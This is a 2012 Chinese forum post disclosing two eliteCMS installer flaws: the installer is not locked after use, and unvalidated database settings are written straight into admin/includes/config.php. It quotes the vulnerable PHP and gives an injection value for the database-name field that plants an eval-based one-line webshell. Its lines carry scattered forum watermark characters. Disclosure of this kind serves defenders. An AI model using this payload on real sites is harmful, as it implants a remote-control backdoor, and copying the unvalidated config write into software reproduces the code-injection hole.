找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2151|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装; k" Q% H/ l; p8 }7 X) S
0 w, f8 [6 t) g1 |- G: T9 B* q
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
3 R1 N* n( f- K, M+ ?& H% `; |我们来看代码:
0 b1 {. x- \: F  A" O  D
- R' n. C. z4 D$ J4 i* e/ x6 t.../ w" C4 u4 a" w/ n2 ]
elseif ($_GET['step'] == "4") {  V4 e8 n! \& g4 s/ F9 f
    $file = "../admin/includes/config.php";
/ f; r; s* v' @    $write = "<?php\n";
. c2 c9 M) `0 C    $write .= "/**\n";
, C( V9 V9 x% c9 \    $write .= "*\n";0 u  r  f$ L& t
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";  G+ r( \# p4 G" J5 U4 B
...略...7 {8 N) q! F7 j- V3 A7 ]9 x
    $write .= "*\n";
/ s3 h6 X5 a9 m7 K( i    $write .= "*/\n";
$ |) ?- h/ x/ A( S( A* T    $write .= "\n";/ [" k0 m  }  M) |2 M
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
, K8 f0 O/ `% N  t) C  ~3 i    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";* K) j8 c$ t. I0 s
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";  H2 D7 G. B9 e$ W3 g$ M& M
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
; ~: x8 L9 V' _" k. \    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";( b1 Z8 ^7 E* a# t  R( S8 g
    $write .= "if (!\$connection) {\n";0 U0 n/ B+ @! C- |; n  z9 l1 _3 E
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";& @$ l- c7 e( ?2 C6 C
    $write .= "        \n";" y6 l6 m, J. H, A
    $write .= "} \n";
3 ]7 P9 c# G" g' u3 g    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
+ w) Q$ A# I6 ^- \  W    $write .= "if (!\$db_select) {\n";: x$ \  \" p% A  r% L1 ^6 U8 R
    $write .= "        die(\"Database select failed\" .mysql_error());\n";' b" B+ ~! E) T  U" y# k+ U
    $write .= "        \n";
, [6 z7 g& {% X$ d/ N    $write .= "} \n";5 e5 t* r6 R2 W3 G
    $write .= "?>\n";" r% p6 a6 i3 l- C* D. D; C
; V, K7 y" W7 {( ~9 R5 u6 Z
    $writer = fopen($file, 'w');' e/ @! H* O6 Q# A
...0 j3 ^0 e& U! p: Z% n/ {

+ ?- Z& i# m- G: E- W在看代码:9 f, B; b" j2 G# X: K$ f
) v! X9 `( S: D( g* |' h# f
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];" O9 R: n% I. k8 z
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];2 w, F0 H  o( S+ K
$_SESSION['DB_USER'] = $_POST['DB_USER'];/ s1 |/ r( P) {3 M' C5 m: y
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
! J0 h) S$ {+ \: r6 u9 n1 c) _2 T
* C& H- ?5 C1 [! c; K" j取值未作任何验证
  p, T8 H8 s. Q7 Z; }# e7 y如果将数据库名POST数据:
$ B5 ^& y5 c$ ` ! r  y' ?; O( \0 w  Y- L" o: ]* u
"?><?php eval($_POST[c]);?><?php# X( J! k8 x: X+ u

& [2 r& O1 t( R+ l5 b将导致一句话后门写入/admin/includes/config.php1 @7 Z& m; ~  U% U& B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表